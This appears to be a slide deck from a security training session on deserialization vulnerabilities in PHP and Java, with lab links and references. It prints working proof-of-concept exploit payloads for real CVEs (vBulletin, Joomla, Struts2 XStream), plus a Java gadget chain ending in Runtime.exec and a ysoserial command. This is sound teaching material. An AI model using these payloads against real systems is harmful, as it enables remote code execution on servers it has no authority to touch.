
Serialization Bugs

About Me

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What are we here for ?

- What are Serialization Vulnerabilities (A7 -OWASP Top 2017) ?
 - Object Serialization in PHP – Lab/Demo
 - Binary and XML Serialization in Java – Lab/Demo
 - Serialization in Other Languages
 - Learn how to find serialization bugs (and how to exploit them)
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Object Serialization

Converting complex data structures like objects/arrays to strings for byte-by-byte transmission

Typical Use Cases :

- Passing Form objects as is for processing

- Passing objects as URL Query parameters

- Storing objects data in text or in a single database field

PHP Object Serialization

Object Serialization

```
<?php
class Test {

    public $name= 'Rohit';
    public $age = 88;

}
```




string(53) "O:4:"Test":2:{s:4:"name";s:5:"Rohit";s:3:"age";i:88;}"

Magic Functions

- Reserved functions starting with “__” double underscores
- Can be called during(in-between) the process of serialization/unserialization i.e. called automatically donot require invocation
- Ex : Prior to inserting an object in a database, __construct can be called to make a connection and __destruct to close it.

Unserialize Code Execution

Code execution can be achieved when we pass a serialized object to the unserialised function(`unserialize()`) , controlling the creation(serialization) of the object in memory.



The screenshot shows the PHP manual page for the `unserialize()` function. The browser address bar displays `php.net/manual/en/function.unserialize.php`. The page header includes the PHP logo and navigation links: Downloads, Documentation, Get Involved, and Help. The main content area states: `unserialize()` takes a single serialized variable and converts it back into a PHP value. A prominent warning box contains the following text: **Warning** Do not pass untrusted user input to `unserialize()` regardless of the `options` value of `allowed_classes`. Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via `json_decode()` and `json_encode()`) if you need to pass serialized data to the user. Below the warning, it says: If you need to unserialize externally-stored serialized data, consider using `hash_hmac()` for data validation. Make sure data is not modified by anyone but you.

Demo

<http://35.201.239.25/phpoi/log.php>



Lab

<http://35.201.239.25/lab>



Some Popular Bugs

- CVE-2016-4010 : Magento – Unauthenticated Remote Code Execution
 - CVE-2017-5677:PEAR HTML_AJAX <= 0.5.7 PHP Object Injection
 - CVE-2012-0911: Tiki Wiki unserialize() PHP Code Execution
 - CVE-2012-5692: Invision IP.Board unserialize() PHP Code Execution
 - CVE-2014-1691: Horde Framework Unserialize PHP Code Execution
 - CVE-2014-8791: Tuleap PHP Unserialize Code Execution
 - CVE-2015-2171: Slim Framework PHP Object Injection
 - CVE-2015-7808: vBulletin 5 Unserialize Code Execution
 - CVE-2015-8562: Joomla RCE
 - CVE-2017-2641 : Moodle RCE
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CVE-2015-7808: vBulletin 5.x Unserialize Code Execution

```
<?php
class vB_Database {
    public $functions = array();

    public function __construct()
    {
        $this->functions['free_result'] = 'phpinfo';
    }
}

class vB_dB_Result {
    protected $db;
    protected $recordset;

    public function __construct()
    {
        $this->db = new vB_Database();
        $this->recordset = 1;
    }
}

print urlencode(serialize(new vB_dB_Result())) . "\n";
```

CVE-2015-8562: Joomla RCE

```
2
3 def generate_payload/php_payload):
4
5     php_payload = "eval({0})".format(php_str_noquotes(php_payload))
6
7     terminate = '\xf0\xfd\xfd\xfd';
8     exploit_template = r'''}__test|0:21:"JDatabaseDriverMysqli":3:{s:2:"fc";0:17:"JSimplePieFactory":0:
9     {s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;0:9:"SimplePie":5:{s:8:"sanitize";0:20:"JDatabaseDriverMysql":0:{s:8:"feed_url";''
10    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
11    exploit_template += r'''}s:{0}:"{1}'''.format(str(len(injected_payload)), injected_payload)
12    exploit_template += r'''}s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";0:20:"JDatabaseDriverMysql":0:
13    {}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}}'' + terminate
14
15    return exploit_template
```

<https://www.exploit-db.com/exploits/39033/>

SQLi through Unserialize() - WooCommerce

```
1  O:8:"WP_Query":49:{
2      :
3      s:7:"request";s:590:"SELECT  wp_posts.* FROM wp_posts  INNER JOIN wp_postmeta ON (
4          :
5      AND (
6          ( wp_postmeta.meta_key = '_sku'
7          AND wp_postmeta.meta_value IN ('testsku','test%') )
8      ) AND wp_posts.post_type = 'product' AND ((wp_posts.post_status = 'publish')) GROUP
9      s:5:"posts";a:1:{i:0;O:7:"WP_Post":24:{s:2:"ID";i:207;s:11:"post_author";s:1:"1";s
10     s:12:"post_content";s:27:"Pellentesque habitant morbi" ...}}
11     :
12 }
```

<https://blog.ripstech.com/2018/woocommerce-php-object-injection/>

References

- <https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf>
 - https://www.owasp.org/index.php/PHP_Object_Injection
 - <https://www.notsosecure.com/remote-code-execution-via-php-unserialize/>
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Java Serialization

Binary

XML

Java Binary Serialization Vulnerabilities

- readObject() of ObjectInputStream class
 - Converts serialized java string to an object
 - If user supplied input is passed other objects (Gadget Classes) can also be instantiated.

```
~íENQsrNAKcom.test.servlets.CarãBEL<ÜCCHFØDC1STX  
STXIBScapacityLENOmodeltDC2Ljava/lang/String;xpEOT  
°tETXi20|
```

readObject()

```
]class Car {  
    private String model="i20" ;  
    private int capacity=1200 ;  
}
```

Gadget Chaining

- Process of getting to an object which can satisfy our need(greed) of exploitation
 - The object or its definition in the form of a class must be present within the classpath
-

Gadget Chaining – A Simple Example

```
public class CacheManager implements Serializable {
    private final Runnable initHook;

    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // Populate initHook
        initHook.run();
    }
}

public class CommandTask implements Runnable, Serializable {
    private final String command;

    // For example, "cmd.exe" is passed into command.
    public CommandTask(String command) {
        this.command = command;
    }


    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
```

Gadget Chaining – The Slightly Complex One

Gadget chain:

```
ObjectInputStream.readObject()  
  AnnotationInvocationHandler.readObject()  
    Map(Proxy).entrySet()  
      AnnotationInvocationHandler.invoke()  
        LazyMap.get()  
          ChainedTransformer.transform()  
            ConstantTransformer.transform()  
              InvokerTransformer.transform()  
                Method.invoke()  
                  Class.getMethod()  
                    InvokerTransformer.transform()  
                      Method.invoke()  
                        Runtime.getRuntime()  
                          InvokerTransformer.transform()  
                            Method.invoke()  
                              Runtime.exec()
```

ySoSerial - Demo




The screenshot shows a web browser window with a URL bar containing 'localhost:8080/TestServletJSP/'. The main content area displays a large block of Base64-encoded data. Below this, the text 'Base64Decoded Data:' is followed by a list of Java classes and methods, including 'java.util.PriorityQueue', 'org.apache.commons.collections4.comparators.TransformingComparator', and 'org.apache.commons.collections4.transformer.Transformers'. A calculator window is overlaid on the right side of the browser, showing the number '0' and various mathematical functions.

java -jar ysoserial-master-SNAPSHOT.jar
CommonsCollections1 'calc.exe' |
base64 | tr -d "\n"

Java XML Serialization Vulnerabilities

XMLDecoder and Xstream to libraries in Java used for serializing objects using XML



Java XML Serialization Vulnerabilities – XML Decoder

```
<?xml version="1.0" encoding="UTF-8"?>  
<object class="java.Lang.ProcessBuilder">  
  <array class="java.Lang.String" length="1">  
    <void index="0">  
      <string>calc.exe</string>  
    </void>  
  </array>  
  <void method="start" />  
</object>
```

XMLDECODER



Java XML Serialization Vulnerabilities – XStream – Struts2 REST Plugin CVE 2017-9805

```
<map>
<entry>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>calc</string>
                    </command>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                </filter>
                <next></next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer/>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
  <jdk.nashorn.internal.objects.NativeString reference="./jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
```

XSTREAM



Lab

<http://35.201.239.25:8080/NotSoSerial>



References and Vulnerable Softwares

- Everything you ever want to know about Java DeSerialization , period.

<https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet>

Bug Hunting ?

- Python
 - `pickle.load()`
- Ruby
 - `Marshal.load()`
- .NET
 - Multiple Formatter objects Details → <https://github.com/pwntester/ysoserial.net>
- Node.js
 - `unserialize()`
- Java
 - `readObject()`
 - `XMLDecoder`
 - `XStream`
- PHP
 - `unserialize()`

<https://lgtm.com/>

→ Search for the above functions in your code

<https://www.ripstech.com/>

→ Specifically for PHP

Thank You

